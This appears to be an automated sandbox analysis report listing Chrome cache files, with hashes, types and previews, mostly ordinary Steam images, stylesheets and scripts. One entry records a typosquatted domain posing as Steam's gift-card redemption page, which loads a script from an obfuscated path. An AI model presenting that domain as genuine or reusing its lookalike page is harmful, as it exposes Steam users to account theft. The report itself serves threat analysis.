Preview:	.PNG........IHDR.............4.i{....sRGB.........gAMA......a.....pHYs..........o.d..).IDATx^...}U......\|.hp(..%1..H.DQ..(..H..HF..H..(.B1...hP.B1.."1..")...(."..I.".x.....:.9.......>.c....~....>..c.....7O?..sDDDDD.....QDDDDD.......S...g.Nj..........h.EDDD.F........N;.B.r..!.%.phm.9.....\DDDdr4.25..].:/..?%4...a...}.H.........]..!..qm.....\|m..]DDDdp4.24...$....R..>....{..y.""""..A.! .....C.s.....0......""""}.A.>...{Co.../,..K1._.Qt*"""r..t..r.?.z..l.`.?......tB...@^..Ctb...h...QuZ;....$.A.\..zW.cN.r..c!"._....""".....pY..C.$.'CD.?......N4..+B..1PH.CD....`DDDDZ..G.6...G.!........Bg......M4..r...".\....OB..../""".....&Dy...1..:.\.bJ......t9.....2..w"....&....H.....C..!...t0...Qu...Y(F..u._.4..C..v0.Z....."./.....:eu&%@..B....""".@LqY&.?RZ.^.I..(ty.....,....xA.^.....oCo..\|u&""".G..,.......S.KC.b...Y../.".?.i...;....SDDDf..}.\."rNz...u...:.UDDd.h......)_?....z..LDDDf..}.."r.9....].......Ht..6D..I.3.#..l.EDDd.h.....9.2_..zG..........8;..\|..9..wWg"""

Chrome Cache Entry: 479

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	PNG image data, 16 x 16, 8-bit/color RGBA, non-interlaced
Category:	downloaded
Size (bytes):	1430
Entropy (8bit):	6.915444207165524
Encrypted:	false
SSDEEP:	24:2C1hkyaWwjx82lY2T3RVag7yJ3VR7GmXF54+mC8yq8/23CMwMIE+b8Dllc:HZNn2lpWJ3nnwDNmlPbUI
MD5:	AFC159FE5F0F26FA7282505DA9887CC3
SHA1:	C1CD55380C2AF435876989F94E8B0715042C2ADE
SHA-256:	4BE942A34871DD6F8F14B43D27C31B049BE7F6544C05685D4F35ABDD329DE176
SHA-512:	8F7DCB7E99CEED8F86575A05FF7D329EE2FC67CD18C6D53B2833A6AA1EEDE2586D57688F27901D941D2B6351412957468CCE5CA69101D86911390BF04FD82763
Malicious:	false
Reputation:	low
URL:	https://store.akamai.steamstatic.com/public/images/ico/ico_twitter.png
Preview:	.PNG........IHDR................a....tEXtSoftware.Adobe ImageReadyq.e<...'iTXtXML:com.adobe.xmp.....<?xpacket begin="." id="W5M0MpCehiHzreSzNTczkc9d"?> <x:xmpmeta xmlns:x="adobe:ns:meta/" x:xmptk="Adobe XMP Core 9.1-c001 79.1462899777, 2023/06/25-23:57:14 "> <rdf:RDF xmlns:rdf="http://www.w3.org/1999/02/22-rdf-syntax-ns#"> <rdf:Description rdf:about="" xmlns:xmp="http://ns.adobe.com/xap/1.0/" xmlns:xmpMM="http://ns.adobe.com/xap/1.0/mm/" xmlns:stRef="http://ns.adobe.com/xap/1.0/sType/ResourceRef#" xmp:CreatorTool="Adobe Photoshop 25.1 (Windows)" xmpMM:InstanceID="xmp.iid:6E745BD792D411EE8F80E4F5B5148EC9" xmpMM:DocumentID="xmp.did:6E745BD892D411EE8F80E4F5B5148EC9"> <xmpMM:DerivedFrom stRef:instanceID="xmp.iid:6E745BD592D411EE8F80E4F5B5148EC9" stRef:documentID="xmp.did:6E745BD692D411EE8F80E4F5B5148EC9"/> </rdf:Description> </rdf:RDF> </x:xmpmeta> <?xpacket end="r"?>{KL.....IDATx.b..U.d``.......@...4.....0.4.9...[`...e.5U...6V..G..d.....I2.].......?y.............^./....&.....

Chrome Cache Entry: 480

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with CRLF, LF line terminators
Category:	downloaded
Size (bytes):	33738
Entropy (8bit):	5.263546738678096
Encrypted:	false
SSDEEP:	768:1rv31+3R8zIF/3doix2R1pW81qWZRhcJGMJhpJfS2:FpP1vZRxGzS2
MD5:	0ABAE40EE6CFA8B72ABFB79829D53400
SHA1:	E87D3AA5EBFEAC3D486FB3D9913A81BE19AF3762
SHA-256:	C54F7E964FABEFC31C2DF4864777DB262E62C3236A293FBD075DEAF1D538C2ED
SHA-512:	A347D51254A5BA555F5CFCFFAAEB40F687C549B8E2C76EAF98F4E4522A8F5AE5A358F10119608C2657E30176D4675FD11C2670DD3F923BD788F8D30CA45A5575
Malicious:	false
Reputation:	low
URL:	https://store.akamai.steamstatic.com/public/shared/css/buttons.css?v=CrrkDubPqLcq&l=english
Preview:	.btn_green_white_innerfade {...border-radius: 2px;...border: none;...padding: 1px;...display: inline-block;...cursor: pointer;...text-decoration: none !important;...color: #D2E885 !important;........background: #a4d007;.....background: -webkit-linear-gradient( top, #a4d007 5%, #536904 95%);..background: linear-gradient( to bottom, #a4d007 5%, #536904 95%);..}......btn_green_white_innerfade > span {....border-radius: 2px;....display: block;...........background: #799905;.....background: -webkit-linear-gradient( top, #799905 5%, #536904 95%);..background: linear-gradient( to bottom, #799905 5%, #536904 95%);....}.....btn_green_white_innerfade:not(.btn_disabled):not(:disabled):not(.btn_active):not(.active):hover {...text-decoration: none !important;...color: #fff !important;........background: #b6d908;.....background: -webkit-linear-gradient( top, #b6d908 5%, #80a006 95%);..background: linear-gradient( to bottom, #b6d908 5%, #80a006 95%);..}......btn_green_white_innerfade:not(.btn_disable

Chrome Cache Entry: 481

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	JPEG image data, JFIF standard 1.01, resolution (DPCM), density 38x38, segment length 16, baseline, precision 8, 32x32, components 3
Category:	dropped
Size (bytes):	1226
Entropy (8bit):	7.468952690767969
Encrypted:	false
SSDEEP:	24:O8zo0XxDuLHeOWXG4OZ7DAJuLHenX39ASwh6NFqsPq6qOcqiZcErExA:guERApjlcqiBrOA
MD5:	36C0E361B48289C116C417C67FCBA680
SHA1:	609F27278AA70697C13BF99F32C5A0248C381F9D
SHA-256:	3FB721D4F89AD130676CD39B48D40C66D2CF051D114606556D5334D74C3621E3
SHA-512:	362CA67D9555A05780A0BF4E8D33EC002656EF4538D2630AC52FCA104E478C759645F1201ECB0FD33D25094A351614286B7A43D242F0AADE48171651C4A133BC
Malicious:	false
Reputation:	low
Preview:	......JFIF.....&.&.....C....................................................................C....................................................................... . ...............................................................}........!1A..Qa."q.2....#B...R..$3br........%&'()456789:CDEFGHIJSTUVWXYZcdefghijstuvwxyz..............................................................................................................................w.......!1..AQ.aq."2...B.....#3R..br...$4.%.....&'()56789:CDEFGHIJSTUVWXYZcdefghijstuvwxyz....................................................................................?.......o....j....IfHc.\ov.8...R.j.b..+z.E\|!..<7.[......W...f.<e...M......z-JWl..W....x.LS.i..v..rIgz..I.PO.Yk%.o..n\|5.{...o.CN.\Z.......N...YN.!..u.....h......m4K.I.i...E......o..E.r.8..[....9cM{IToW.......\|g..k.%.!...;..9.....F..m.(.9'....uA.....>9.....a.4....v!S....p..W2.cF.x..!..;.<U<..xm.......Lg.Y..t.+x..2.._.CI......vVKm..9v....gf'.>.....C

Chrome Cache Entry: 482

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	GIF image data, version 89a, 16 x 16
Category:	dropped
Size (bytes):	1429
Entropy (8bit):	7.114906411921738
Encrypted:	false
SSDEEP:	24:g9XPYOEocal1hQWwjx82lY2T3+VLHnmbHn4yJ3VZHnLRHn5GY82Df9wIyvcyPO:g9fsIzNn2KhHWHbJ3XHlH5L823yPO
MD5:	1658BD9BCE49908BAC30F075D520DFBC
SHA1:	1174BCC3DA90B32BCD21B75AF923F2C869CEE552
SHA-256:	96A49A32967F0A65E3131A3AA1D493425C15325787448300F64B138D6710F51C
SHA-512:	DD44D33A623F538E27183A7F689B9E97F1E1D85D9A6C09A09532FB6A9D61D13C31FC3B3F2220788092E8FB6E629D4756564C8B8D7EFCD6C430EEC98F592342D3
Malicious:	false
Reputation:	low
Preview:	GIF89a.............UV\........hin...RTZRSY.........egl...FGN.....;<C......\]crsxTV\;=D?AH68??@G.....ikpY[a............8:A......BDJ......abh...YZ`...sty...LNTMOU......>@FKMS...SU[79@BDKACI57>.........!..XMP DataXMP<?xpacket begin="." id="W5M0MpCehiHzreSzNTczkc9d"?> <x:xmpmeta xmlns:x="adobe:ns:meta/" x:xmptk="Adobe XMP Core 9.1-c001 79.a8d475349, 2023/03/23-13:05:45 "> <rdf:RDF xmlns:rdf="http://www.w3.org/1999/02/22-rdf-syntax-ns#"> <rdf:Description rdf:about="" xmlns:xmp="http://ns.adobe.com/xap/1.0/" xmlns:xmpMM="http://ns.adobe.com/xap/1.0/mm/" xmlns:stRef="http://ns.adobe.com/xap/1.0/sType/ResourceRef#" xmp:CreatorTool="Adobe Photoshop 24.7 (Windows)" xmpMM:InstanceID="xmp.iid:A00F86217F2E11EE954AD5AEB68850C4" xmpMM:DocumentID="xmp.did:A00F86227F2E11EE954AD5AEB68850C4"> <xmpMM:DerivedFrom stRef:instanceID="xmp.iid:A00F861F7F2E11EE954AD5AEB68850C4" stRef:documentID="xmp.did:A00F86207F2E11EE954AD5AEB68850C4"/> </rdf:Description> </rdf:RDF> </x:xmpmeta> <?xpacket end="r

Chrome Cache Entry: 483

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	PNG image data, 244 x 212, 8-bit/color RGBA, non-interlaced
Category:	downloaded
Size (bytes):	3777
Entropy (8bit):	7.855078020337897
Encrypted:	false
SSDEEP:	96:W5Zsk8bb6l5qnCoghGfkm37QP00rqGDXrg/sG3vUx+Iocg2fkjGfkjky:W5H8o5qe0Mu7600WiXE/v3ve+Is2MjGm
MD5:	EABC76EB57FEAE44ADD7FAEAD028521E
SHA1:	4E3E53938FAD15661D2D046A868338841A95DB19
SHA-256:	FC9E6260A2706AE146282D77E67BC1B74688435F8912AB4C1932641EEC28BFFA
SHA-512:	5C6DA6EEEFDDF321C2BC7E39A134E0A3140A9F93AD1560B2E102EF60EC218C29AAE14ED344C79E25CC5493CD15551040D8C909DE28DCAB02034D787563104E07
Malicious:	false
Reputation:	low
URL:	https://store.akamai.steamstatic.com/public/shared/images/responsive/header_menu_hamburger.png
Preview:	.PNG........IHDR.....................tEXtSoftware.Adobe ImageReadyq.e<...cIDATx..._LTg...w.i........Vmk.6X....i..F..{...^..^4Mz..6ml..nb ]....e.a....v..)...a.E.).#..>.0.3g.Kww8/..'y.g........sf.....W.2.... ...4....@......@...h... ...4....@. ....@...h... ...4....@. ....@...h......2....P^^...sVEE....r..={f.K....I...F#R...g..vN..k...%.Oj..6...h.:"...0......K.E..G..."..@.x..w.*...'."_..A...L.r....I..W........^H...Q...:;..h4j.z..8..,..a/...w.Fm.Meg.C.a.\|..w.....u.`.zM.U.=....4e...=.U.....[.h.z..j...Te.a..z...+RUR.8.N.u.INN..o?a........E...o}.#...._....Oc..=.Orr.&.!;;[=..3..q.....?H...0{.S._m.B..(.6.Rm.)...]..%....3..c..Dk.M..z.%.c..NTd...}..90..tj.v.#.L..M.t.uc.<>..3..;..:..G..9..I.....%.@.`..d....@...h.@. ...4`6...M.@'.n......I/z`5>>.K...X7Z.Z.....5.7..h+.N.h....gS...8...........@..Njj.}....'...{`...'T{....mmm'.t2....?V..=C.......=b......`\|s.@'zC.N......."..>k...M......)...}....?.r...+z.x....JTII.....4.O_....s..?>W..?.O.....`...t{...r..Z

Chrome Cache Entry: 484

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with no line terminators
Category:	downloaded
Size (bytes):	32
Entropy (8bit):	4.538909765557392
Encrypted:	false
SSDEEP:	3:H25BBthpd5:W5hP
MD5:	206BE186BE1919916CA8556F077B6AF7
SHA1:	3B22F0C3A78AB849EBD6E09A0205E802A9D6ACA2
SHA-256:	51B272191B3BB04B6843ACFCEA05A1C7BCC4CB4D43E5CBA1282F0702531EB523
SHA-512:	C88B2FB5B698C41EA15E5472C6403F2490B0758B8A34A6CBBE11EA1DC54F281B304365F22653B8355251DC14C43DE3A9F23FAEE1741AC46DA22558737298D82F
Malicious:	false
Reputation:	low
URL:	https://content-autofill.googleapis.com/v1/pages/ChVDaHJvbWUvMTE3LjAuNTkzOC4xMzQSEAn8aZfoFCRUsxIFDchGVTYSEAkKrp2xjgKqNBIFDchGVTY=?alt=proto
Preview:	CgkKBw3IRlU2GgAKCQoHDchGVTYaAA==

Chrome Cache Entry: 485

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	JPEG image data, Exif standard: [TIFF image data, little-endian, direntries=0], baseline, precision 8, 1920x1080, components 3
Category:	dropped
Size (bytes):	124529
Entropy (8bit):	7.79044844464572
Encrypted:	false
SSDEEP:	3072:R24zCBv0a8Oz/fxlnI0Nc49J7g3HOHQZP:R2GCea8OzHfjO85ygs
MD5:	48B805D8FA321668DB4CE8DFD96DB5B9
SHA1:	E0DED2606559C8100EF544C1F1C704E878A29B92
SHA-256:	9A75F8CC40BBE9C9499E7B2D3BAB98A447685A361489357A111479517005C954
SHA-512:	95DA761CA3F99F7808A0148CFA2416B8C03D90859BFF65B396061ADA5A4394FB50E2A4B82986CAAB07BC1FCD73980FE9B08E804B3CE897762A17D2E44935076D
Malicious:	false
Reputation:	low
Preview:	......Exif..II.................Ducky.......<......Adobe.d.................................................................................................................................................8........................................................................................!.1.A.".Q.a2.B#q..3Rb$........................!..1.AQ"..a2B#.............?..w:2...................................u...h....u.}@ ...0.......[..M)..p.....^.0.7P2@..<.H.>@........^@w.?.d.....@.p.w.....y.\..]:......`..%.&...>.....h...{.\|.....O[4Q ]....k..Rg..y....p..jR'..<.\....AS..)..i#..Ps..7UF...d.6...SRb.O..mr.;.R:.......X_.._.sU\}..R..:cC....S...{x%..=.z..yG.[t.S.5.O._.=3.H..\|:r.+..7%b.zt+Nc.\c...\|.&.K..-.qz..\...O.+u...3.>./.....5...D.........H.$.&ER@0..o..gW.u.8'N=...N.Y...g.x...PR................>......>.1...W...C\....a..2...%TA...=oWd...ur..Z......&_...m..?.....O.....Fly.D.D6.r....OK&....H.b...Z...)A.........]Z.U.4VL.&YS../.0p......p......4.....)....*B.a.3b.A8....V.

Chrome Cache Entry: 487

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (945)
Category:	downloaded
Size (bytes):	131882
Entropy (8bit):	5.376896897488642
Encrypted:	false
SSDEEP:	1536:XtTqru1xouE1ZTnPrMiY6WRdA2qZpXnBnK3xsVdFE7zptEvp62kdS6F:JmuWl7ndK3xsVdKEd56F
MD5:	64141792105EA4861F9F33294D65AB81
SHA1:	506D9100CAA070005A890BD496DE64C437D6D008
SHA-256:	21758ED084CD0E37E735722EE4F3957EA960628A29DFA6C3CE1A1D47A2D6E4F7
SHA-512:	30E0A9AA84688AC093C09F2F41089C899BF4A9CA5138289D7A4DC64C54BA293936FB2EE6BA724894A09590509863EA7712B6055C28E61639DF4D34520B538759
Malicious:	false
Reputation:	low
URL:	https://cdn.jsdelivr.net/npm/react-dom@18.2.0/umd/react-dom.production.min.js
Preview:	/*. @license React. * react-dom.production.min.js. . Copyright (c) Facebook, Inc. and its affiliates.. . This source code is licensed under the MIT license found in the. * LICENSE file in the root directory of this source tree.. /.(function(){/. Modernizr 3.0.0pre (Custom Build) \| MIT.*/.'use strict';(function(Q,mb){"object"===typeof exports&&"undefined"!==typeof module?mb(exports,require("react")):"function"===typeof define&&define.amd?define(["exports","react"],mb):(Q=Q\|\|self,mb(Q.ReactDOM={},Q.React))})(this,function(Q,mb){function n(a){for(var b="https://reactjs.org/docs/error-decoder.html?invariant="+a,c=1;c<arguments.length;c++)b+="&args[]="+encodeURIComponent(arguments[c]);return"Minified React error #"+a+"; visit "+b+" for the full message or use the non-minified dev environment for full errors and additional helpful warnings."}.function nb(a,b){Ab(a,b);Ab(a+"Capture",b)}function Ab(a,b){$b[a]=b;for(a=0;a<b.length;a++)cg.add(b[a])}function cj(a){if(Zd.call(dg,a))retu

Chrome Cache Entry: 488

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (28021), with CRLF, LF line terminators
Category:	downloaded
Size (bytes):	299124
Entropy (8bit):	5.906543624262357
Encrypted:	false
SSDEEP:	6144:N4Ga79zYy//wW+z0/wWaiJ/wWX/71oRyvC:da79f+9
MD5:	88F72E2D4C5CB2DA4C810E9E6ABF3FEF
SHA1:	08BFAA9D07A37DC0D318F7E98BA831D4681C7E04
SHA-256:	113F338A0FF68822CB3297117D8E0B42EDA62387B6140F1C1D52004A1FDAEA73
SHA-512:	89D69FEC0C4FF4FDC3C60D1557B4BBC4375C8E22C13A1CD22F818D41A6F10914F346226E9A6ABDA0973547BF92475120A86560E6866990D614082788594FB7C4
Malicious:	false
Reputation:	low
URL:	https://store.akamai.steamstatic.com/public/css/applications/store/main.css?v=iPcuLUxcstpM&l=english
Preview:	...........html body.events_hub.v6{background-color:#171a21;font-family:"Motiva Sans",Arial,Helvetica,sans-serif}@media screen and (max-width: 400px){html body.events_hub.v6{scrollbar-width:none;-ms-overflow-style:none}html body.events_hub.v6::-webkit-scrollbar{display:none}}html body.events_hub.v6 #global_header{position:fixed;z-index:12;width:100%;box-sizing:border-box;transition:transform .15s ease-in-out}html body.events_hub.v6 .responsive_header{box-shadow:none;transition:transform .15s ease-in-out}html body.events_hub.v6 .responsive_page_template_content{padding-bottom:0}html body.events_hub.v6 ._2uHYtSBLSS1MxFonkOXr0O{flex:1;display:flex;flex-direction:column;min-height:0}html body.events_hub.v6 .perf_timing_area{position:absolute;bottom:0}body.rewards ._2uHYtSBLSS1MxFonkOXr0O{flex:1;display:flex;flex-direction:column;min-height:0}..._3Knd7Am6tTwTTu605YN4IX{position:fixed;top:0;bottom:0;right:0;left:0;z-index:1599}._1S6CCCQlcTTAAHh3LMTLh1:focus{outline:none}.GreenEnvelopeMenu,.P

Chrome Cache Entry: 489

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	HTML document, Unicode text, UTF-8 text, with very long lines (2641)
Category:	downloaded
Size (bytes):	55418
Entropy (8bit):	4.541587761367116
Encrypted:	false
SSDEEP:	1536:9KdfxFmQR0dHdaxSMIUBNIKUjcuSIIIN9Xb5uPIh3UC+tM7GBHecX7dURZ:9NXrkbh2
MD5:	579D37AE27FDE81433214160F287A09C
SHA1:	B083D4987F29FE8AECAD8EA2CE2EE78B375A0D6D
SHA-256:	25476D64E9E116E450824DE7076903774077D246B1AE036B79C825936DFC5D33
SHA-512:	02DC827286FD9A6BECC5EDAD7D8700F5F3DCB5FAE36090A75D28BF211EF483A12E0FE9EA26889CFCE117EDD914FB615B2FD26540CEBCDB4DBA7E186AA1C0C574
Malicious:	false
Reputation:	low
URL:	https://sneamcomnnumnlty.com/721d7f512e080159550c070f035d0c00565a05561450220103430b5c55160272461145
Preview:	<!DOCTYPE html><html class=" responsive" lang="en"><head><script async src='/721d7f512e0801585d020440.js'></script><script>window.triggers = ["a","button"]</script>.<meta http-equiv="Content-Type" content="text/html; charset=UTF-8"><meta name="viewport" content="width=device-width,initial-scale=1"><meta name="theme-color" content="#171a21"><meta name="twitter:card" content="summary_large_image"><meta name="twitter:site" content="@steam"><meta property="og:title" content="Redeem a Steam Gift Card or Wallet Code"><meta property="twitter:title" content="Redeem a Steam Gift Card or Wallet Code"><meta property="og:type" content="website"><meta property="fb:app_id" content="105386699540688"><meta property="og:site" content="Steam"><meta property="og:image" content="https://store.akamai.steamstatic.com/public/shared/images/responsive/share_steam_logo.png"><meta name="twitter:image" content="https://store.akamai.steamstatic.com/public/shared/images/responsive/share_steam_logo.png"><meta proper

Chrome Cache Entry: 490

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	PNG image data, 176 x 50, 8-bit/color RGBA, non-interlaced
Category:	downloaded
Size (bytes):	2584
Entropy (8bit):	7.591818812076699
Encrypted:	false
SSDEEP:	48:4wqQNn2xoJ35l3QWpQSufhbTCFV0Q0jkIPIH+UCKPnaqiLruSd+1w:oY2ml31ZCdqWQMkADnK41d+1w
MD5:	86A9CCC0B872F22006A48BC6C2500F4E
SHA1:	0EDCCF2CBC869816135C6FF4C3EEE0C49D0F41C1
SHA-256:	D8BBE461137D50211568449468A1981EF189248200EADD48C3141A9DF0B8F7FC
SHA-512:	43EBD681FE137718E45153B9CE062CE9426AC57D6CE907BD3B1C7709BF6F6D2AB4B49E22F2DC4F203DEDF860A895A4B58F4A01095E97722CE5F27935038F0B56
Malicious:	false
Reputation:	low
URL:	https://help.steampowered.com/public/images/footerLogo_valve_new.png
Preview:	.PNG........IHDR.......2.......Q.....tEXtSoftware.Adobe ImageReadyq.e<..."iTXtXML:com.adobe.xmp.....<?xpacket begin="." id="W5M0MpCehiHzreSzNTczkc9d"?> <x:xmpmeta xmlns:x="adobe:ns:meta/" x:xmptk="Adobe XMP Core 5.3-c011 66.145661, 2012/02/06-14:56:27 "> <rdf:RDF xmlns:rdf="http://www.w3.org/1999/02/22-rdf-syntax-ns#"> <rdf:Description rdf:about="" xmlns:xmp="http://ns.adobe.com/xap/1.0/" xmlns:xmpMM="http://ns.adobe.com/xap/1.0/mm/" xmlns:stRef="http://ns.adobe.com/xap/1.0/sType/ResourceRef#" xmp:CreatorTool="Adobe Photoshop CS6 (Windows)" xmpMM:InstanceID="xmp.iid:595356BA543311EAAC5FF1C3D4DCAF18" xmpMM:DocumentID="xmp.did:595356BB543311EAAC5FF1C3D4DCAF18"> <xmpMM:DerivedFrom stRef:instanceID="xmp.iid:595356B8543311EAAC5FF1C3D4DCAF18" stRef:documentID="xmp.did:595356B9543311EAAC5FF1C3D4DCAF18"/> </rdf:Description> </rdf:RDF> </x:xmpmeta> <?xpacket end="r"?>tU......IDATx..][l.E.....Q(.....11.VTL."....cb.1../.`x.x...&..F}P.....$*........J..5^Z5..@Kc...3...?{f.....%_...f.

Chrome Cache Entry: 491

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	Unicode text, UTF-8 text, with very long lines (4458), with CRLF line terminators
Category:	dropped
Size (bytes):	156982
Entropy (8bit):	5.435620292080094
Encrypted:	false
SSDEEP:	1536:D11KAh60MhmjGFhB1e5lnl9b/PdVcTzWMGEN3qxVqGoteFANNfsf9M6kQuOEmTdh:808B1e5/9b3dVcj9qVqZrrUEvm
MD5:	9CAB64AE7399518E41E6B1CBDB12046D
SHA1:	1DD2DD1313D0E197E986F37284ED8EC4DF08AFF5
SHA-256:	A61DF7D1067A60F7179FF71071A3D8AC030DD3B36F40A3D51DE87A97106E2693
SHA-512:	D4A3C7DB2B80FFD8BECF08EF7BC74661581B006EFDC2FF018D4FB4651BF1ABD8ECA76901202C75DA9B80D1FFEE0FA316CE7E38202A3AE223CA3C6E47DC8F9371
Malicious:	false
Reputation:	low
Preview:	..Steam = {...sm_bInitialized: false,...sm_bUserInClient: false,...sm_bUserInGameOverlay: false,...sm_bUserInTenfootBrowser: false,...sm_bUserInMobileChat: false,...sm_bUserInMobileApp: false,.....BIsUserInSteamClient: function()...{....if ( !Steam.sm_bInitialized ).....Steam.Init();......return Steam.sm_bUserInClient;...},.....BIsUserInGameOverlay: function()...{....if ( !Steam.sm_bInitialized ).....Steam.Init();......return Steam.sm_bUserInGameOverlay...},.....BIsUserInSteamTenfootBrowser: function()...{....if ( !Steam.sm_bInitialized ).....Steam.Init();......return Steam.sm_bUserInTenfootBrowser;...},.....BIsUserInClientOrOverlay: function()...{....if ( !Steam.sm_bInitialized ).....Steam.Init();......return Steam.sm_bUserInClient \|\| Steam.sm_bUserInGameOverlay;...},.....BIsUserInSteamMobileChat: function()...{....if ( !Steam.sm_bInitialized ).....Steam.Init();......return Steam.sm_bUserInMobileChat;...},.....BIsUserInSteamMobileApp: function()...{....if ( !Steam.sm_bInitialized )...

Chrome Cache Entry: 492

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	PNG image data, 646 x 250, 8-bit colormap, non-interlaced
Category:	dropped
Size (bytes):	4904
Entropy (8bit):	7.899029446643728
Encrypted:	false
SSDEEP:	96:OdBnjzG7DZTxqIfy33nn/qf46vhPQuAgul5SZBsj51v1f:OdBnjwDZTx5fy33no4ShRjuX2sd1vt
MD5:	1E91D02CF5A902F38F2923C006D79281
SHA1:	CB8126B32C2274E0394246B40BD0B7F9F847E44C
SHA-256:	F72611E2DF8E88204009FD896D05D5E8E83C77009C63943BBFFA169559934849
SHA-512:	54B69544DC55ADDC0B2DDC08418D1A0A34240697070FE47FEAE9E915C70D33EF662CE1B7154CBCAD84019D22F3291F138CC7298224D381CC740C2097478D4042
Malicious:	false
Reputation:	low
Preview:	.PNG........IHDR..............+v.....PLTEGpLWWW^^^fffnnnaaaxxx.........sss\\\.........hhhIII**.........sss...444}}}...>>>SSSYYYjjj...}}}^^^ @@@ppp......```000PPP....J$._/'~>$t9.T.5..........................................D4.S1.N....................... ...I..kkk..................zzz....?.......!i4...$]c....2d.:.....:u.B..=.....8.N..nS.:.N.......?/.;.N......=.N~^......^G.?.N....v.@.NO;..j...............<.T/#.5.\..7L...xK.OY.C5.q#.n!.2(9...;/I...?2u"..!...;..X....%...K..7+I..g...&.,..H..G..E..FFu..a.... tRNS.:..........................j...N}......IDATx...Ub.@.E..I71.0.....C.5.............................?...._.r..[........E...v^Ne...E;+..l..n..c...]w..\|r...m>.w=...2..5.+......tW..].........6m.i..).Y.h.B.k....j.......T.l.\.<...T.H2.._...a.....u...e.}.Op...J.....I.j.....>.C...&.tW.T0Kr..I..4.v.].OrSie..!O.......!......!.g..Z.0......r..\|4.h.t..{.............N...fi..-R....LH9#....7I$..$..o.T....8......@A<y..s....K...%Wt.y.z..].i.h...T..l.E6.....S7C

Chrome Cache Entry: 493

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with CRLF line terminators
Category:	downloaded
Size (bytes):	72579
Entropy (8bit):	4.404375519624922
Encrypted:	false
SSDEEP:	1536:6sBYm/fzArDRTtaj+kGVqg8tPytMuE/dIXyIrY:6sBYm/fzMDRTtaj+kGVqg8tPytMuEYY
MD5:	52F6D73507509BE009949858D33E94A3
SHA1:	5AB9922460AA84D77DB15B693D8A184B5B008736
SHA-256:	6D593B2B5913EB962FB94AD4331A074BD8CB88FEFC77BB7C9825528D59E1F8FF
SHA-512:	3736F1F1B76FCCC2C7CFDB35D1EE9099506AA9DE2DC8AC945680ECAFD53B56F16ACC7CB6CE349EFE8F499051E62484A749045A58814B4D5E825B9DF45BE44BF0
Malicious:	false
Reputation:	low
URL:	https://store.akamai.steamstatic.com/public/javascript/slick/slick.js?v=.UvbXNQdQm-AJ
Preview:	/.. _ _ _ _.. ___\| (_) ___\| \| __ (_)___../ __\| \| \|/ __\| \|/ / \| / __\|..\__ \ \| \| (__\| < _ \| \__ \..\|___/_\|_\|\___\|_\|\_(_)/ \|___/.. \|__/.... Version: 1.5.0.. Author: Ken Wheeler.. Website: http://kenwheeler.github.io.. Docs: http://kenwheeler.github.io/slick.. Repo: http://github.com/kenwheeler/slick.. Issues: http://github.com/kenwheeler/slick/issues.... /../* global window, document, define, jQuery, setInterval, clearInterval */..(function(factory) {.. 'use strict';.. if (typeof define === 'function' && define.amd) {.. define(['jquery'], factory);.. } else if (typeof exports !== 'undefined') {.. module.exports = factory(require('jquery'));.. } else {.. factory(jQuery);.. }....}(function($) {.. 'use strict';.. var Slick = window.Slick \|\| {};.... Slick = (function() {.... var instanceUid = 0;.... function Slick(element, settings) {.... var _ = this,.. dataSet

Chrome Cache Entry: 494

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	PNG image data, 96 x 26, 8-bit/color RGBA, non-interlaced
Category:	downloaded
Size (bytes):	3737
Entropy (8bit):	7.906671945599965
Encrypted:	false
SSDEEP:	96:OSDZ/I09Da01l+gmkyTt6Hk8nTqviwYZP2H51:OSDS0tKg9E05Tqviw6451
MD5:	1626F52ADDB7C56FE3679D82108C62E9
SHA1:	2B414092D66ECFF528950093A655F755C3C7F3B5
SHA-256:	AE9F6C61E25D15882BF57BDE193D10D375BD315C9741CABDA11D700FD1BB7DD1
SHA-512:	05548831477CC421556C404F3411F581E98A84FF2E699882CB4F5DCA17D1C5F77B55ED2B8211EEC32D0A4317BE1C4EBC636277F840262491B753415F6F198276
Malicious:	false
Reputation:	low
URL:	https://community.cloudflare.steamstatic.com/public/images/skin_1/footerLogo_valve.png?v=1
Preview:	.PNG........IHDR...`.........H!Y.....pHYs................OiCCPPhotoshop ICC profile..x.SgTS..=...BK...KoR.. RB....&!..J.!...Q..EE..........Q,......!.........{.k.......>........H3Q5...B..........@..$p....d!s.#...~<<+".....x.....M..0.....B.\.....t.8K....@z.B..@F....&S....`.cb..P-.`'........{..[.!..... .e.D.h;...V.E.X0..fK.9..-.0IWfH.............0Q..)..{.`.##x.....F.W<.+.....x..<.$9E.[.-q.WW..(.I.+.6a.a.@..y..2.4..............x.....6..._-..."bb....p@...t~..,/...;..m..%..h^..u..f..@.....W.p.~<<E.........J.B[a.W}.g._.W.l.~<.....$.2].G......L.....b..G.......".Ib.X..Q.q.D...2.".B.).%..d..,..>.5..j>.{.-.]c..K'.Xt......o..(...h...w..?.G.%..fI.q..^D$.T.?....D...A....,.........`6.B$..B.B.d..r`)..B(...*`/.@.4.Qh..p...U..=p..a...(....A...a!..b.X#......!.H...$ ..Q"K.5H1R.T UH..=r.9.\F..;..2....G1...Q=...C..7..F...dt1......r..=.6...h..>C.0....3.l0...B.8,..c."......V.....c.w...E..6.wB a.AHXLXN.H. .$4...7...Q.'"..K.&.....b21.XH,#..../.{.C.7$..C2'...I..T...F.nR#.,..4H.#...dk..9.,

Chrome Cache Entry: 495

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
